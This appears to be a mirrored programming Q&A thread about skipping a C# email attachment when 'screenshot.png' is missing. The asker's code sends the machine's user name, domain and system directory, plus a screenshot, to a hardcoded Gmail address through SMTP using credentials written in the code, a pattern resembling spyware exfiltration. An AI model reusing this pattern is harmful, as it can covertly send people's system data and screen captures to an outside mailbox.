简体   繁体   中英

Send Email without attachments

I have a Problem i know how to send email with attachment but i want to learn that if i dont have screenshot.png then i want to send it without attachment my code is below

string email = "hammadptc93@gmail.com";
string pass = "mypassword";
NetworkCredential loginInfo = new NetworkCredential(email, pass);
MailMessage msg = new MailMessage();
SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", 587);

msg.From = new MailAddress(email);
msg.To.Add(new MailAddress("hammadptc93@gmail.com"));
msg.Body = value;
msg.Subject = Environment.UserName +"   " + 
              Environment.UserDomainName +"    "+ Environment.SystemDirectory ;
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("screenshot.png");
msg.Attachments.Add(attachment);
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = loginInfo;

smtpClient.SendAsync(msg, "hammad");

Simply checking whether file is present or not will be enough.

if(File.Exists("screenshot.png"))
{
   System.Net.Mail.Attachment attachment;
   attachment = new System.Net.Mail.Attachment("screenshot.png");
   msg.Attachments.Add(attachment);
}

Use File.Exists method to check whether you have the attachment. If File.Exists returns false, side step from following lines (wrap them in a if statement)

    System.Net.Mail.Attachment attachment;
    attachment = new System.Net.Mail.Attachment("screenshot.png");
    msg.Attachments.Add(attachment);

Hope this helps

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM